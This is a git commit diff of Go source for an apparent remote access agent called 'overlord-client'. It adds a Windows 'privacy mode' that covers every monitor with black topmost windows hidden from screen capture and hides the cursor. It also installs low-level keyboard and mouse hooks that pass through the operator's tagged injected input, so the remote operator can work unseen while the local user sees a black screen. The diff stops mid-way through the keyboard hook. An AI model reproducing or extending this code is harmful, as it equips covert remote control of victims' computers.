privacy selector
This commit is contained in:
@@ -22,6 +22,7 @@ import (
|
|||||||
"overlord-client/cmd/agent/filesearch"
|
"overlord-client/cmd/agent/filesearch"
|
||||||
"overlord-client/cmd/agent/persistence"
|
"overlord-client/cmd/agent/persistence"
|
||||||
"overlord-client/cmd/agent/plugins"
|
"overlord-client/cmd/agent/plugins"
|
||||||
|
"overlord-client/cmd/agent/privacy"
|
||||||
"overlord-client/cmd/agent/runtime"
|
"overlord-client/cmd/agent/runtime"
|
||||||
"overlord-client/cmd/agent/securelog"
|
"overlord-client/cmd/agent/securelog"
|
||||||
"overlord-client/cmd/agent/sysinfo"
|
"overlord-client/cmd/agent/sysinfo"
|
||||||
@@ -86,6 +87,8 @@ func resetForReconnect(env *runtime.Env) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
privacy.Stop()
|
||||||
|
|
||||||
cancelAllCommands()
|
cancelAllCommands()
|
||||||
capture.ResetFrameSlots()
|
capture.ResetFrameSlots()
|
||||||
|
|
||||||
@@ -693,6 +696,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
env.DesktopCancel = nil
|
env.DesktopCancel = nil
|
||||||
env.DesktopDone = nil
|
env.DesktopDone = nil
|
||||||
env.DesktopMu.Unlock()
|
env.DesktopMu.Unlock()
|
||||||
|
if privacy.IsEnabled() {
|
||||||
|
privacy.Stop()
|
||||||
|
log.Printf("privacy: auto-disabled on desktop stop")
|
||||||
|
}
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
case "desktop_select_display":
|
case "desktop_select_display":
|
||||||
@@ -2451,6 +2458,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||||
}
|
}
|
||||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||||
|
case "privacy_start":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
_ = handlePrivacyStart(ctx, env, cmdID, payload)
|
||||||
|
return nil
|
||||||
|
case "privacy_stop":
|
||||||
|
_ = handlePrivacyStop(ctx, env, cmdID)
|
||||||
|
return nil
|
||||||
|
case "privacy_status":
|
||||||
|
_ = handlePrivacyStatus(ctx, env, cmdID)
|
||||||
|
return nil
|
||||||
case "uninstall":
|
case "uninstall":
|
||||||
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, res)
|
_ = wire.WriteMsg(ctx, env.Conn, res)
|
||||||
@@ -2572,3 +2589,44 @@ func toInt(v interface{}) int {
|
|||||||
}
|
}
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||||
|
if goruntime.GOOS != "windows" {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: false,
|
||||||
|
Message: "privacy mode is only supported on Windows",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if privacy.IsEnabled() {
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: true,
|
||||||
|
Message: "privacy mode already active",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
if err := privacy.Start(); err != nil {
|
||||||
|
log.Printf("privacy: start failed: %v", err)
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: false,
|
||||||
|
Message: err.Error(),
|
||||||
|
})
|
||||||
|
}
|
||||||
|
log.Printf("privacy: mode enabled")
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
privacy.Stop()
|
||||||
|
log.Printf("privacy: mode disabled")
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
enabled := privacy.IsEnabled()
|
||||||
|
return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{
|
||||||
|
Type: "privacy_status", Enabled: enabled,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ package handlers
|
|||||||
import (
|
import (
|
||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/privacy"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -112,7 +114,7 @@ func sendMouseInput(flags uint32, mouseData uint32) {
|
|||||||
mi.mouseData = mouseData
|
mi.mouseData = mouseData
|
||||||
mi.dwFlags = flags
|
mi.dwFlags = flags
|
||||||
mi.time = 0
|
mi.time = 0
|
||||||
mi.dwExtraInfo = 0
|
mi.dwExtraInfo = inputExtraInfo()
|
||||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -152,7 +154,7 @@ func sendMouseMoveAbsolute(x, y int32) bool {
|
|||||||
mi.mouseData = 0
|
mi.mouseData = 0
|
||||||
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
|
mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK
|
||||||
mi.time = 0
|
mi.time = 0
|
||||||
mi.dwExtraInfo = 0
|
mi.dwExtraInfo = inputExtraInfo()
|
||||||
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||||
return r != 0
|
return r != 0
|
||||||
}
|
}
|
||||||
@@ -186,7 +188,7 @@ func sendKeyInput(vk uint16, keyUp bool) {
|
|||||||
}
|
}
|
||||||
ki.dwFlags = flags
|
ki.dwFlags = flags
|
||||||
ki.time = 0
|
ki.time = 0
|
||||||
ki.dwExtraInfo = 0
|
ki.dwExtraInfo = inputExtraInfo()
|
||||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -242,6 +244,7 @@ func sendUnicodeRune(r rune) {
|
|||||||
ki.wVk = 0
|
ki.wVk = 0
|
||||||
ki.wScan = uint16(r)
|
ki.wScan = uint16(r)
|
||||||
ki.dwFlags = KEYEVENTF_UNICODE
|
ki.dwFlags = KEYEVENTF_UNICODE
|
||||||
|
ki.dwExtraInfo = inputExtraInfo()
|
||||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp))
|
||||||
|
|
||||||
var inpUp input
|
var inpUp input
|
||||||
@@ -250,6 +253,7 @@ func sendUnicodeRune(r rune) {
|
|||||||
kiUp.wVk = 0
|
kiUp.wVk = 0
|
||||||
kiUp.wScan = uint16(r)
|
kiUp.wScan = uint16(r)
|
||||||
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
|
kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP
|
||||||
|
kiUp.dwExtraInfo = inputExtraInfo()
|
||||||
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
|
_, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -287,3 +291,10 @@ func keyCodeToVK(code string) uint16 {
|
|||||||
}
|
}
|
||||||
return 0
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func inputExtraInfo() uintptr {
|
||||||
|
if privacy.IsEnabled() {
|
||||||
|
return privacy.InputMarker()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,54 @@
|
|||||||
|
package privacy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
)
|
||||||
|
|
||||||
|
const inputMarker uintptr = 0x00D5E7B00B5
|
||||||
|
|
||||||
|
type Manager struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
enabled int32
|
||||||
|
}
|
||||||
|
|
||||||
|
var global = &Manager{}
|
||||||
|
|
||||||
|
func Get() *Manager { return global }
|
||||||
|
|
||||||
|
func (m *Manager) IsEnabled() bool {
|
||||||
|
return atomic.LoadInt32(&m.enabled) != 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *Manager) Enable() error {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
if atomic.LoadInt32(&m.enabled) != 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := enablePlatform(); err != nil {
|
||||||
|
atomic.StoreInt32(&m.enabled, 0)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
atomic.StoreInt32(&m.enabled, 1)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *Manager) Disable() {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
if atomic.SwapInt32(&m.enabled, 0) == 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
disablePlatform()
|
||||||
|
}
|
||||||
|
|
||||||
|
func Start() error { return Get().Enable() }
|
||||||
|
func Stop() { Get().Disable() }
|
||||||
|
func IsEnabled() bool { return Get().IsEnabled() }
|
||||||
|
func InputMarker() uintptr { return inputMarker }
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package privacy
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
func enablePlatform() error {
|
||||||
|
return errors.New("privacy mode is only supported on Windows")
|
||||||
|
}
|
||||||
|
|
||||||
|
func disablePlatform() {}
|
||||||
@@ -0,0 +1,530 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package privacy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log"
|
||||||
|
"runtime"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
WS_EX_TOPMOST = 0x00000008
|
||||||
|
WS_EX_TOOLWINDOW = 0x00000080
|
||||||
|
WS_EX_NOACTIVATE = 0x08000000
|
||||||
|
WS_EX_TRANSPARENT = 0x00000020
|
||||||
|
WS_EX_LAYERED = 0x00080000
|
||||||
|
WS_POPUP = 0x80000000
|
||||||
|
WS_VISIBLE = 0x10000000
|
||||||
|
WDA_EXCLUDEFROMCAPTURE = 0x00000011
|
||||||
|
|
||||||
|
WH_KEYBOARD_LL = 13
|
||||||
|
WH_MOUSE_LL = 14
|
||||||
|
|
||||||
|
WM_QUIT = 0x0012
|
||||||
|
WM_KEYDOWN = 0x0100
|
||||||
|
WM_KEYUP = 0x0101
|
||||||
|
WM_SYSKEYDOWN = 0x0104
|
||||||
|
WM_SYSKEYUP = 0x0105
|
||||||
|
|
||||||
|
LLKHF_INJECTED = 0x00000010
|
||||||
|
|
||||||
|
LLMHF_INJECTED = 0x00000001
|
||||||
|
|
||||||
|
VK_CONTROL = 0x11
|
||||||
|
VK_P = 0x50
|
||||||
|
VK_LCONTROL = 0xA2
|
||||||
|
VK_RCONTROL = 0xA3
|
||||||
|
|
||||||
|
SW_HIDE = 0
|
||||||
|
SW_SHOW = 5
|
||||||
|
|
||||||
|
SWP_NOSIZE = 0x0001
|
||||||
|
SWP_NOMOVE = 0x0002
|
||||||
|
SWP_NOACTIVATE = 0x0010
|
||||||
|
SWP_SHOWWINDOW = 0x0040
|
||||||
|
|
||||||
|
LWA_ALPHA = 0x00000002
|
||||||
|
|
||||||
|
SM_XVIRTUALSCREEN = 76
|
||||||
|
SM_YVIRTUALSCREEN = 77
|
||||||
|
SM_CXVIRTUALSCREEN = 78
|
||||||
|
SM_CYVIRTUALSCREEN = 79
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
|
|
||||||
|
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||||
|
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||||
|
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||||
|
procGetMessageW = user32.NewProc("GetMessageW")
|
||||||
|
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||||
|
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||||
|
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||||
|
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||||
|
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
|
||||||
|
procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW")
|
||||||
|
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
|
||||||
|
procCallNextHookEx = user32.NewProc("CallNextHookEx")
|
||||||
|
procShowWindow = user32.NewProc("ShowWindow")
|
||||||
|
procUpdateWindow = user32.NewProc("UpdateWindow")
|
||||||
|
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||||
|
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
|
||||||
|
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
|
||||||
|
procShowCursor = user32.NewProc("ShowCursor")
|
||||||
|
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||||
|
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
|
||||||
|
|
||||||
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||||
|
procGetCurrentThreadID = kernel32.NewProc("GetCurrentThreadId")
|
||||||
|
|
||||||
|
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||||
|
procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush")
|
||||||
|
|
||||||
|
keyboardHook uintptr
|
||||||
|
mouseHook uintptr
|
||||||
|
|
||||||
|
privacyWindows []windows.HWND
|
||||||
|
privacyWindowsMu sync.Mutex
|
||||||
|
|
||||||
|
platformMu sync.Mutex
|
||||||
|
platform *platformState
|
||||||
|
cursorHideOps int
|
||||||
|
ctrlPressed bool
|
||||||
|
)
|
||||||
|
|
||||||
|
type platformState struct {
|
||||||
|
ready chan error
|
||||||
|
done chan struct{}
|
||||||
|
threadID uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type wndClassExW struct {
|
||||||
|
cbSize uint32
|
||||||
|
style uint32
|
||||||
|
lpfnWndProc uintptr
|
||||||
|
cbClsExtra int32
|
||||||
|
cbWndExtra int32
|
||||||
|
hInstance windows.Handle
|
||||||
|
hIcon windows.Handle
|
||||||
|
hCursor windows.Handle
|
||||||
|
hbrBackground windows.Handle
|
||||||
|
lpszMenuName *uint16
|
||||||
|
lpszClassName *uint16
|
||||||
|
hIconSm windows.Handle
|
||||||
|
}
|
||||||
|
|
||||||
|
type point struct {
|
||||||
|
x int32
|
||||||
|
y int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type msg struct {
|
||||||
|
hwnd windows.HWND
|
||||||
|
message uint32
|
||||||
|
wParam uintptr
|
||||||
|
lParam uintptr
|
||||||
|
time uint32
|
||||||
|
pt point
|
||||||
|
}
|
||||||
|
|
||||||
|
type kbdllhookstruct struct {
|
||||||
|
vkCode uint32
|
||||||
|
scanCode uint32
|
||||||
|
flags uint32
|
||||||
|
time uint32
|
||||||
|
dwExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
type msllhookstruct struct {
|
||||||
|
pt point
|
||||||
|
mouseData uint32
|
||||||
|
flags uint32
|
||||||
|
time uint32
|
||||||
|
dwExtraInfo uintptr
|
||||||
|
}
|
||||||
|
|
||||||
|
func enablePlatform() error {
|
||||||
|
platformMu.Lock()
|
||||||
|
if platform != nil {
|
||||||
|
platformMu.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
st := &platformState{
|
||||||
|
ready: make(chan error, 1),
|
||||||
|
done: make(chan struct{}),
|
||||||
|
}
|
||||||
|
platform = st
|
||||||
|
go runPlatformThread(st)
|
||||||
|
platformMu.Unlock()
|
||||||
|
|
||||||
|
if err := <-st.ready; err != nil {
|
||||||
|
platformMu.Lock()
|
||||||
|
if platform == st {
|
||||||
|
platform = nil
|
||||||
|
}
|
||||||
|
platformMu.Unlock()
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func disablePlatform() {
|
||||||
|
platformMu.Lock()
|
||||||
|
st := platform
|
||||||
|
platform = nil
|
||||||
|
platformMu.Unlock()
|
||||||
|
|
||||||
|
if st == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if st.threadID != 0 {
|
||||||
|
procPostThreadMessageW.Call(uintptr(st.threadID), WM_QUIT, 0, 0)
|
||||||
|
}
|
||||||
|
<-st.done
|
||||||
|
}
|
||||||
|
|
||||||
|
func runPlatformThread(st *platformState) {
|
||||||
|
runtime.LockOSThread()
|
||||||
|
defer runtime.UnlockOSThread()
|
||||||
|
defer close(st.done)
|
||||||
|
|
||||||
|
st.threadID = currentThreadID()
|
||||||
|
|
||||||
|
if err := createPrivacyWindows(); err != nil {
|
||||||
|
st.ready <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := installInputHooks(); err != nil {
|
||||||
|
destroyPrivacyWindows()
|
||||||
|
st.ready <- err
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hideCursor()
|
||||||
|
st.ready <- nil
|
||||||
|
|
||||||
|
messagePump()
|
||||||
|
|
||||||
|
restoreCursor()
|
||||||
|
uninstallInputHooks()
|
||||||
|
destroyPrivacyWindows()
|
||||||
|
}
|
||||||
|
|
||||||
|
func currentThreadID() uint32 {
|
||||||
|
ret, _, _ := procGetCurrentThreadID.Call()
|
||||||
|
return uint32(ret)
|
||||||
|
}
|
||||||
|
|
||||||
|
func createPrivacyWindows() error {
|
||||||
|
className, err := syscall.UTF16PtrFromString("OverlordPrivacyWindow")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
hInstance := getModuleHandle()
|
||||||
|
|
||||||
|
brush, _, _ := procCreateSolidBrush.Call(0x00000000)
|
||||||
|
|
||||||
|
wndClass := wndClassExW{
|
||||||
|
cbSize: uint32(unsafe.Sizeof(wndClassExW{})),
|
||||||
|
style: 0,
|
||||||
|
lpfnWndProc: syscall.NewCallback(defWindowProcCallback),
|
||||||
|
hInstance: windows.Handle(hInstance),
|
||||||
|
hCursor: 0,
|
||||||
|
hbrBackground: windows.Handle(brush),
|
||||||
|
lpszClassName: className,
|
||||||
|
}
|
||||||
|
|
||||||
|
ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wndClass)))
|
||||||
|
if ret == 0 {
|
||||||
|
if err := syscall.GetLastError(); err != windows.ERROR_CLASS_ALREADY_EXISTS {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
monitors := enumerateMonitors()
|
||||||
|
if len(monitors) == 0 {
|
||||||
|
left := getSystemMetric(SM_XVIRTUALSCREEN)
|
||||||
|
top := getSystemMetric(SM_YVIRTUALSCREEN)
|
||||||
|
width := getSystemMetric(SM_CXVIRTUALSCREEN)
|
||||||
|
height := getSystemMetric(SM_CYVIRTUALSCREEN)
|
||||||
|
if width > 0 && height > 0 {
|
||||||
|
monitors = append(monitors, monitorRect{
|
||||||
|
left: left,
|
||||||
|
top: top,
|
||||||
|
right: left + width,
|
||||||
|
bottom: top + height,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, mon := range monitors {
|
||||||
|
hwnd, _, _ := procCreateWindowExW.Call(
|
||||||
|
uintptr(WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_NOACTIVATE|WS_EX_TRANSPARENT|WS_EX_LAYERED),
|
||||||
|
uintptr(unsafe.Pointer(className)),
|
||||||
|
0,
|
||||||
|
uintptr(WS_POPUP|WS_VISIBLE),
|
||||||
|
uintptr(mon.left),
|
||||||
|
uintptr(mon.top),
|
||||||
|
uintptr(mon.right-mon.left),
|
||||||
|
uintptr(mon.bottom-mon.top),
|
||||||
|
0, 0, uintptr(hInstance), 0,
|
||||||
|
)
|
||||||
|
if hwnd == 0 {
|
||||||
|
log.Printf("privacy: failed to create window for monitor [%d %d %d %d]: %v",
|
||||||
|
mon.left, mon.top, mon.right, mon.bottom, syscall.GetLastError())
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
procSetWindowDisplayAffinity.Call(hwnd, uintptr(WDA_EXCLUDEFROMCAPTURE))
|
||||||
|
procSetLayeredWindowAttributes.Call(hwnd, 0, 255, uintptr(LWA_ALPHA))
|
||||||
|
procSetWindowPos.Call(
|
||||||
|
hwnd,
|
||||||
|
^uintptr(0),
|
||||||
|
uintptr(mon.left),
|
||||||
|
uintptr(mon.top),
|
||||||
|
uintptr(mon.right-mon.left),
|
||||||
|
uintptr(mon.bottom-mon.top),
|
||||||
|
uintptr(SWP_NOACTIVATE|SWP_SHOWWINDOW),
|
||||||
|
)
|
||||||
|
procShowWindow.Call(hwnd, SW_SHOW)
|
||||||
|
procUpdateWindow.Call(hwnd)
|
||||||
|
|
||||||
|
privacyWindowsMu.Lock()
|
||||||
|
privacyWindows = append(privacyWindows, windows.HWND(hwnd))
|
||||||
|
privacyWindowsMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(privacyWindows) == 0 {
|
||||||
|
return syscall.GetLastError()
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("privacy: created %d privacy window(s)", len(privacyWindows))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func getSystemMetric(index int32) int32 {
|
||||||
|
ret, _, _ := procGetSystemMetrics.Call(uintptr(index))
|
||||||
|
return int32(ret)
|
||||||
|
}
|
||||||
|
|
||||||
|
func hideCursor() {
|
||||||
|
cursorHideOps = 0
|
||||||
|
for {
|
||||||
|
count := showCursor(false)
|
||||||
|
cursorHideOps++
|
||||||
|
if count < 0 || cursorHideOps > 32 {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func restoreCursor() {
|
||||||
|
for i := 0; i < cursorHideOps; i++ {
|
||||||
|
showCursor(true)
|
||||||
|
}
|
||||||
|
cursorHideOps = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func showCursor(show bool) int32 {
|
||||||
|
arg := uintptr(0)
|
||||||
|
if show {
|
||||||
|
arg = 1
|
||||||
|
}
|
||||||
|
ret, _, _ := procShowCursor.Call(arg)
|
||||||
|
return int32(ret)
|
||||||
|
}
|
||||||
|
|
||||||
|
func destroyPrivacyWindows() {
|
||||||
|
privacyWindowsMu.Lock()
|
||||||
|
windows := privacyWindows
|
||||||
|
privacyWindows = nil
|
||||||
|
privacyWindowsMu.Unlock()
|
||||||
|
|
||||||
|
for _, hwnd := range windows {
|
||||||
|
procShowWindow.Call(uintptr(hwnd), SW_HIDE)
|
||||||
|
procDestroyWindow.Call(uintptr(hwnd))
|
||||||
|
}
|
||||||
|
log.Printf("privacy: destroyed %d privacy window(s)", len(windows))
|
||||||
|
}
|
||||||
|
|
||||||
|
type monitorRect struct {
|
||||||
|
left, top, right, bottom int32
|
||||||
|
}
|
||||||
|
|
||||||
|
func enumerateMonitors() []monitorRect {
|
||||||
|
var monitors []monitorRect
|
||||||
|
var mu sync.Mutex
|
||||||
|
|
||||||
|
cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr {
|
||||||
|
rc := (*rect)(unsafe.Pointer(lprcMonitor))
|
||||||
|
mu.Lock()
|
||||||
|
monitors = append(monitors, monitorRect{
|
||||||
|
left: rc.left,
|
||||||
|
top: rc.top,
|
||||||
|
right: rc.right,
|
||||||
|
bottom: rc.bottom,
|
||||||
|
})
|
||||||
|
mu.Unlock()
|
||||||
|
return 1
|
||||||
|
})
|
||||||
|
|
||||||
|
procEnumDisplayMonitors.Call(0, 0, cb, 0)
|
||||||
|
return monitors
|
||||||
|
}
|
||||||
|
|
||||||
|
type rect struct {
|
||||||
|
left int32
|
||||||
|
top int32
|
||||||
|
right int32
|
||||||
|
bottom int32
|
||||||
|
}
|
||||||
|
|
||||||
|
func defWindowProcCallback(hwnd windows.HWND, msg uint32, wParam uintptr, lParam uintptr) uintptr {
|
||||||
|
ret, _, _ := procDefWindowProcW.Call(uintptr(hwnd), uintptr(msg), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
func getModuleHandle() windows.Handle {
|
||||||
|
ret, _, _ := procGetModuleHandleW.Call(0)
|
||||||
|
return windows.Handle(ret)
|
||||||
|
}
|
||||||
|
|
||||||
|
func installInputHooks() error {
|
||||||
|
hInstance := getModuleHandle()
|
||||||
|
|
||||||
|
kbCb := syscall.NewCallback(keyboardHookProc)
|
||||||
|
kh, _, err := procSetWindowsHookExW.Call(
|
||||||
|
uintptr(WH_KEYBOARD_LL),
|
||||||
|
kbCb,
|
||||||
|
uintptr(hInstance),
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if kh == 0 {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
keyboardHook = kh
|
||||||
|
|
||||||
|
mCb := syscall.NewCallback(mouseHookProc)
|
||||||
|
mh, _, err := procSetWindowsHookExW.Call(
|
||||||
|
uintptr(WH_MOUSE_LL),
|
||||||
|
mCb,
|
||||||
|
uintptr(hInstance),
|
||||||
|
0,
|
||||||
|
)
|
||||||
|
if mh == 0 {
|
||||||
|
procUnhookWindowsHookEx.Call(keyboardHook)
|
||||||
|
keyboardHook = 0
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
mouseHook = mh
|
||||||
|
|
||||||
|
log.Printf("privacy: input hooks installed (kb=%d mouse=%d)", keyboardHook, mouseHook)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func uninstallInputHooks() {
|
||||||
|
if keyboardHook != 0 {
|
||||||
|
procUnhookWindowsHookEx.Call(keyboardHook)
|
||||||
|
keyboardHook = 0
|
||||||
|
}
|
||||||
|
if mouseHook != 0 {
|
||||||
|
procUnhookWindowsHookEx.Call(mouseHook)
|
||||||
|
mouseHook = 0
|
||||||
|
}
|
||||||
|
log.Printf("privacy: input hooks removed")
|
||||||
|
}
|
||||||
|
|
||||||
|
func keyboardHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr {
|
||||||
|
if nCode < 0 {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
m := Get()
|
||||||
|
if !m.IsEnabled() {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
kb := (*kbdllhookstruct)(unsafe.Pointer(lParam))
|
||||||
|
|
||||||
|
if kb.dwExtraInfo == InputMarker() {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
if kb.flags&LLKHF_INJECTED != 0 {
|
||||||
|
ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
|
|
||||||
|
switch kb.vkCode {
|
||||||
|
case VK_CONTROL, VK_LCONTROL, VK_RCONTROL:
|
||||||
|
if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN {
|
||||||
|
ctrlPressed = true
|
||||||
|
} else {
|
||||||
|
ctrlPressed = false
|
